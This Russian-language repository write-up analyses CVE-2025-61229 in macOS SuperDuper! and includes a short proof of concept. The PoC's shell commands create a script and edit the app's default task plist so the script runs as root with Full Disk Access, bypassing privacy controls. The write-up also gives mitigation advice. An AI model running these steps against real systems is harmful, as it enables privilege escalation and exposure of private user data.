graypixel2121/cve-2025-61229
Из блога разработчика:
Пользовательские сценарии Before/After выполняются с повышенными привилегиями и с разрешениями SuperDuper на Полный доступ к диску (TCC Full Disk Access). Поскольку на эти сценарии ссылаются файлы настроек копирования или расписания, злоумышленник может изменить эти настройки для запуска собственного сценария.
Из CVE:
Проблема в Shirt Pocket's SuperDuper! 3.10 и более ранних версиях позволяет локальному злоумышленнику изменить шаблон задачи по умолчанию для выполнения произвольного сценария предварительной проверки (preflight) с привилегиями root и Полным доступом к диску, обходя тем самым средства контроля конфиденциальности macOS.
Автор не является первооткрывателем уязвимости; разработчик SuperDuper идентифицирует его как «анонимного исследователя безопасности». Я не претендую на заслугу в обнаружении этой уязвимости — мне просто стало интересно провести её технический анализ.
Оценка CVSS 3.1: 7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Чтобы избежать этой уязвимости, либо удалите приложение SuperDuper!, либо установите обновление 3.11.
Предупреждение: вы должны загрузить обновление непосредственно с сайта разработчика, чтобы избежать уязвимости CVE-2025-61228.
Этот анализ уязвимости и концепт-код (proof of concept) предоставлены исключительно в образовательных целях. Используйте их на свой страх и риск.
Привилегии root и Полный доступ к диску — это наивысшие привилегии, которые программное обеспечение может получить в macOS. Любой разработчик, запрашивающий такие привилегии, должен писать программное обеспечение, соответствующее современным принципам безопасности и лучшим практикам. Эта уязвимость, а также те, что раскрыты в CVE-2025-57489 и CVE-2025-61228, и даже собственное признание разработчика в том, что эти проблемы сохранялись 22 года, показывают, что SuperDuper не был спроектирован как безопасный продукт и не получал регулярных улучшений архитектуры на протяжении 22 лет для соответствия современным лучшим практикам безопасности.
Настройки задач SuperDuper остаются по своей сути небезопасными и в текущей (3.11) версии продукта. Я бы посоветовал всем, кто использует этот продукт, прекратить его использование, пока разработчик не выпустит компетентное обновление, которое полностью устранит все вышеупомянутые проблемы безопасности.
Эту уязвимость было эксплуатировать гораздо проще, чем две предыдущие (CVE-2025-57489 и CVE-2025-61228) — честно говоря, это было слишком просто. Когда уязвимость настолько очевидна, легка в эксплуатации и не устранялась десятилетиями, начинаешь задаваться вопросом, важно ли для разработчика писать безопасное программное обеспечение.
Начнём с уязвимой версии приложения. Первое, что нам нужно сделать, — найти, где находится этот «шаблон задачи по умолчанию». Очевидное первое место для поиска — ~/Library/Application Support/{vendor/product name}. Точно, в ~/Library/Application Support/SuperDuper! есть три папки:
В «Copy Scripts» есть только символическая ссылка на папку внутри пакета приложения, так что этот вариант отпадает. Внутри Saved Settings есть скрытая папка с именем «.Default Settings.sdsp». Внутри этой папки есть папка «Logs» и единственный файл с именем «Session Settings.sdss» в формате plist. Файл Session Settings принадлежит вошедшему в систему пользователю, и да, все настройки задач лежат прямо здесь, беззащитные, в этом файле.
Сценарии before/after управляются четырьмя настройками:
<key>SDbeforeCopyScript</key>
<string></string>
<key>SDsiteCustomizationScript</key>
<string></string>
<key>SDshouldInvokeBeforeCopyScript</key>
<false/>
<key>SDshouldInvokeSiteCustomizationScript</key>
<false/>
Этот простой тестовый сценарий докажет обе стороны уязвимости:
mkdir /tmp/script
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/script/before.sh
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/script/before.sh
chmod a+x /tmp/script/before.sh
Затем просто отредактируйте plist «Session Settings.sdss». Утилита defaults быстро справится с этим, но нам понадобится сделать копию этого файла, потому что defaults требует файл с суффиксом .plist:
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInvokeBeforeCopyScript -bool YES
defaults write "`pwd`"/Settings.plist SDbeforeCopyScript /tmp/script/before.sh
cp Settings.plist 'Session Settings.sdss'
Откройте SuperDuper и запустите резервное копирование. Когда оно завершится, найдите файл «private_data.txt» в /Library (там должен быть список файлов с вашего рабочего стола, доступ к которым имело бы только приложение, обладающее особым правом доступа к этим приватным данным). Честно говоря, я немного удивлён тем, насколько уязвимы настройки задач. «Уязвимы» — не опечатка. Вот как разработчик описывает «решение» для этой уязвимости:
Чтобы смягчить эту уязвимость, в v3.11 мы внесли два изменения:
Сценарии Before/After принудительно выполняются с идентификатором и привилегиями пользователя. Тем, кому требуются иные контексты выполнения, можно использовать обычные методы Unix, такие как suid.
Сценарии должны принадлежать пользователю root, даже если они выполняются в обычном пользовательском контексте. Это гарантирует, что любой выполняемый сценарий был явно авторизован административным пользователем.
Итак, они наложили некоторые ограничения на то, что можно запускать в качестве сценария before/after, но, судя по всему, не улучшили безопасность файла настроек задач. К сожалению, это эффективно лишь для того, чтобы помешать злоумышленнику сделать что-то продуктивное. Единственное требование к сценарию before/after — чтобы он принадлежал root. Помимо этого, злоумышленнику по-прежнему предоставлена полная свобода изменять шаблон настроек задачи по умолчанию. Это совершенно абсурдно. Возможно, злоумышленник не сможет использовать эти сценарии before/after для кражи ваших паролей и финансовых данных, но я уверен, что он сможет устроить хаос, указав любой случайный встроенный shell-инструмент (большинство из которых удовлетворяют требованию владения root). Попробуйте подставить утилиту «/usr/bin/say» в качестве сценария Before и посмотрите, что произойдёт — это было бы уморительно, если бы безопасность данных не была такой серьёзной темой. Ни одна из встроенных утилит не окажет значительного воздействия без возможности изменять аргументы, но некоторые из них могут доставить неприятности и уж точно приведут к сбою резервного копирования.
Я к тому, что есть разница между «избеганием эксплуатации root» и «написанием безопасного программного обеспечения». Разработчику в значительной степени удалось избежать двух возможностей эксплуатации root, но конфигурация задач по-прежнему принципиально небезопасна. Любой случайный человек может изменить настройки задач «за кулисами», и если вы не обращаете внимания, эти изменения могут оказать то или иное влияние на ваши данные или резервную копию.
Также нельзя не задуматься: можно ли по-прежнему эксплуатировать отсутствие защиты остальных настроек?